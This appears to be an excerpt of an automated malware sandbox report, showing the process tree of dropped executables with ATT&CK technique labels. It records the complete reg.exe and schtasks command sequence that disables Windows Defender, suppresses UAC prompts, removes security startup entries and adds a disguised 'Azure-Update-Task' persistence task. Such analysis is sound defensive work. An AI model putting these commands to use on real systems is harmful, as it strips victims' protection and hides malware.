C:\Users\Admin\AppData\Local\Temp\9024.exe
C:\Users\Admin\AppData\Local\Temp\9024.exe
1⤵
- Executes dropped EXE
- Checks computer location settings
PID:2052

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc UwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBTAGUAYwBvAG4AZABzACAANQAwAA==
2⤵
PID:4172

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\Alxruilsfzjvdfantidef.bat" "
2⤵
PID:1716

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\Software\Microsoft\Windows Defender\Features" /v "TamperProtection" /t REG_DWORD /d "0" /f
3⤵
PID:2064

C:\Windows\SysWOW64\reg.exe
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "ConsentPromptBehaviorAdmin" /t "REG_DWORD" /d 0 /f
3⤵
- UAC bypass
PID:4328

C:\Windows\SysWOW64\reg.exe
reg delete "HKLM\Software\Policies\Microsoft\Windows Defender" /f
3⤵
PID:1304

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f
3⤵
PID:2804

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiVirus" /t REG_DWORD /d "1" /f
3⤵
PID:1836

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus" /t REG_DWORD /d "0" /f
3⤵
PID:788

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f
3⤵
- Modifies Windows Defender Real-time Protection settings
PID:2960

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIOAVProtection" /t REG_DWORD /d "1" /f
3⤵
- Modifies Windows Defender Real-time Protection settings
PID:3984

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "1" /f
3⤵
- Modifies Windows Defender Real-time Protection settings
PID:4636

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d "1" /f
3⤵
- Modifies Windows Defender Real-time Protection settings
PID:4380

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "1" /f
3⤵
- Modifies Windows Defender Real-time Protection settings
PID:2380

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Reporting" /v "DisableEnhancedNotifications" /t REG_DWORD /d "1" /f
3⤵
PID:3388

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "DisableBlockAtFirstSeen" /t REG_DWORD /d "1" /f
3⤵
PID:4984

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SpynetReporting" /t REG_DWORD /d "0" /f
3⤵
PID:3676

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SubmitSamplesConsent" /t REG_DWORD /d "2" /f
3⤵
PID:220

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderApiLogger" /v "Start" /t REG_DWORD /d "0" /f
3⤵
PID:5116

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderAuditLogger" /v "Start" /t REG_DWORD /d "0" /f
3⤵
PID:4232

C:\Windows\SysWOW64\schtasks.exe
schtasks /Change /TN "Microsoft\Windows\ExploitGuard\ExploitGuard MDM policy Refresh" /Disable
3⤵
PID:4844

C:\Windows\SysWOW64\schtasks.exe
schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /Disable
3⤵
PID:1880

C:\Windows\SysWOW64\schtasks.exe
schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /Disable
3⤵
PID:4788

C:\Windows\SysWOW64\schtasks.exe
schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /Disable
3⤵
PID:2240

C:\Windows\SysWOW64\schtasks.exe
schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Verification" /Disable
3⤵
PID:1980

C:\Windows\SysWOW64\reg.exe
reg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run" /v "SecurityHealth" /f
3⤵
PID:2220

C:\Windows\SysWOW64\reg.exe
reg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "SecurityHealth" /f
3⤵
PID:3124

C:\Windows\SysWOW64\reg.exe
reg delete "HKCR\*\shellex\ContextMenuHandlers\EPP" /f
3⤵
PID:332

C:\Windows\SysWOW64\reg.exe
reg delete "HKCR\Directory\shellex\ContextMenuHandlers\EPP" /f
3⤵
PID:852

C:\Windows\SysWOW64\reg.exe
reg delete "HKCR\Drive\shellex\ContextMenuHandlers\EPP" /f
3⤵
PID:2652

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\System\CurrentControlSet\Services\WdBoot" /v "Start" /t REG_DWORD /d "4" /f
3⤵
PID:2664

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\System\CurrentControlSet\Services\WdFilter" /v "Start" /t REG_DWORD /d "4" /f
3⤵
PID:4692

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\System\CurrentControlSet\Services\WdNisDrv" /v "Start" /t REG_DWORD /d "4" /f
3⤵
PID:2712

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\System\CurrentControlSet\Services\WdNisSvc" /v "Start" /t REG_DWORD /d "4" /f
3⤵
PID:3640

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\System\CurrentControlSet\Services\WinDefend" /v "Start" /t REG_DWORD /d "4" /f
3⤵
- Modifies security service
PID:4176

C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
2⤵
PID:5100

C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
2⤵
PID:3340

C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
2⤵
PID:1744

C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
2⤵
PID:2036

C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
2⤵
PID:5080

C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
2⤵
PID:2556

C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
2⤵
PID:4544

C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
2⤵
PID:4932

C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
2⤵
PID:3856

C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
2⤵
PID:4708

C:\Users\Admin\AppData\Local\Temp\9844.exe
C:\Users\Admin\AppData\Local\Temp\9844.exe
1⤵
- Executes dropped EXE
- Checks computer location settings
- Suspicious use of SetThreadContext
PID:2620

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc UwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBTAGUAYwBvAG4AZABzACAANQAwAA==
2⤵
PID:1404

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\Kctaorantidef.bat" "
2⤵
PID:5096

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\Software\Microsoft\Windows Defender\Features" /v "TamperProtection" /t REG_DWORD /d "0" /f
3⤵
PID:3660

C:\Windows\SysWOW64\reg.exe
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "ConsentPromptBehaviorAdmin" /t "REG_DWORD" /d 0 /f
3⤵
- UAC bypass
PID:2596

C:\Windows\SysWOW64\reg.exe
reg delete "HKLM\Software\Policies\Microsoft\Windows Defender" /f
3⤵
- Modifies Windows Defender Real-time Protection settings
PID:3152

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f
3⤵
PID:3496

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiVirus" /t REG_DWORD /d "1" /f
3⤵
PID:3888

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus" /t REG_DWORD /d "0" /f
3⤵
PID:1152

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f
3⤵
- Modifies Windows Defender Real-time Protection settings
PID:2968

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIOAVProtection" /t REG_DWORD /d "1" /f
3⤵
- Modifies Windows Defender Real-time Protection settings
PID:1232

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "1" /f
3⤵
- Modifies Windows Defender Real-time Protection settings
PID:4320

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d "1" /f
3⤵
- Modifies Windows Defender Real-time Protection settings
PID:3460

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "1" /f
3⤵
- Modifies Windows Defender Real-time Protection settings
PID:4628

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Reporting" /v "DisableEnhancedNotifications" /t REG_DWORD /d "1" /f
3⤵
PID:2124

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "DisableBlockAtFirstSeen" /t REG_DWORD /d "1" /f
3⤵
PID:4156

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SpynetReporting" /t REG_DWORD /d "0" /f
3⤵
PID:3132

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SubmitSamplesConsent" /t REG_DWORD /d "2" /f
3⤵
PID:3860

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderApiLogger" /v "Start" /t REG_DWORD /d "0" /f
3⤵
PID:2588

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderAuditLogger" /v "Start" /t REG_DWORD /d "0" /f
3⤵
PID:3836

C:\Windows\SysWOW64\schtasks.exe
schtasks /Change /TN "Microsoft\Windows\ExploitGuard\ExploitGuard MDM policy Refresh" /Disable
3⤵
PID:4612

C:\Windows\SysWOW64\schtasks.exe
schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /Disable
3⤵
PID:3508

C:\Windows\SysWOW64\schtasks.exe
schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /Disable
3⤵
PID:4764

C:\Windows\SysWOW64\schtasks.exe
schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /Disable
3⤵
PID:32

C:\Windows\SysWOW64\schtasks.exe
schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Verification" /Disable
3⤵
PID:1120

C:\Windows\SysWOW64\reg.exe
reg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run" /v "SecurityHealth" /f
3⤵
PID:3180

C:\Windows\SysWOW64\reg.exe
reg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "SecurityHealth" /f
3⤵
PID:1400

C:\Windows\SysWOW64\reg.exe
reg delete "HKCR\*\shellex\ContextMenuHandlers\EPP" /f
3⤵
PID:1308

C:\Windows\SysWOW64\reg.exe
reg delete "HKCR\Directory\shellex\ContextMenuHandlers\EPP" /f
3⤵
PID:1088

C:\Windows\SysWOW64\reg.exe
reg delete "HKCR\Drive\shellex\ContextMenuHandlers\EPP" /f
3⤵
PID:4224

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\System\CurrentControlSet\Services\WdBoot" /v "Start" /t REG_DWORD /d "4" /f
3⤵
PID:4204

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\System\CurrentControlSet\Services\WdFilter" /v "Start" /t REG_DWORD /d "4" /f
3⤵
PID:2100

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\System\CurrentControlSet\Services\WdNisDrv" /v "Start" /t REG_DWORD /d "4" /f
3⤵
PID:3880

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\System\CurrentControlSet\Services\WdNisSvc" /v "Start" /t REG_DWORD /d "4" /f
3⤵
PID:4828

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\System\CurrentControlSet\Services\WinDefend" /v "Start" /t REG_DWORD /d "4" /f
3⤵
- Modifies security service
PID:3504

C:\Users\Admin\AppData\Local\Temp\9844.exe
C:\Users\Admin\AppData\Local\Temp\9844.exe
2⤵
- Executes dropped EXE
PID:5032

C:\Windows\SysWOW64\explorer.exe
C:\Windows\SysWOW64\explorer.exe
1⤵
PID:4360

C:\Windows\explorer.exe
C:\Windows\explorer.exe
1⤵
PID:1464

C:\Windows\SysWOW64\explorer.exe
C:\Windows\SysWOW64\explorer.exe
1⤵
PID:3380

C:\Windows\explorer.exe
C:\Windows\explorer.exe
1⤵
PID:456

C:\Windows\SysWOW64\explorer.exe
C:\Windows\SysWOW64\explorer.exe
1⤵
PID:3900

C:\Windows\SysWOW64\explorer.exe
C:\Windows\SysWOW64\explorer.exe
1⤵
PID:4668

C:\Windows\SysWOW64\explorer.exe
C:\Windows\SysWOW64\explorer.exe
1⤵
PID:4304

C:\Windows\explorer.exe
C:\Windows\explorer.exe
1⤵
PID:1556

C:\Windows\SysWOW64\explorer.exe
C:\Windows\SysWOW64\explorer.exe
1⤵
PID:1264

C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
1⤵
- Executes dropped EXE
PID:4672

C:\Windows\SysWOW64\schtasks.exe
/C /create /F /sc minute /mo 1 /tn "Azure-Update-Task" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe"
2⤵
- Creates scheduled task(s)
PID:5092

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

T1053

Persistence

Modify Existing Service

T1031

Registry Run Keys / Startup Folder

T1060

Scheduled Task

T1053

Privilege Escalation

Bypass User Account Control

T1088

Scheduled Task

T1053

Defense Evasion

Bypass User Account Control

T1088

Disabling Security Tools

T1089

File and Directory Permissions Modification

T1222

Modify Registry

Web Service

T1102

Credential Access

Credentials in Files

T1081

Discovery

Peripheral Device Discovery

T1120

Query Registry

System Information Discovery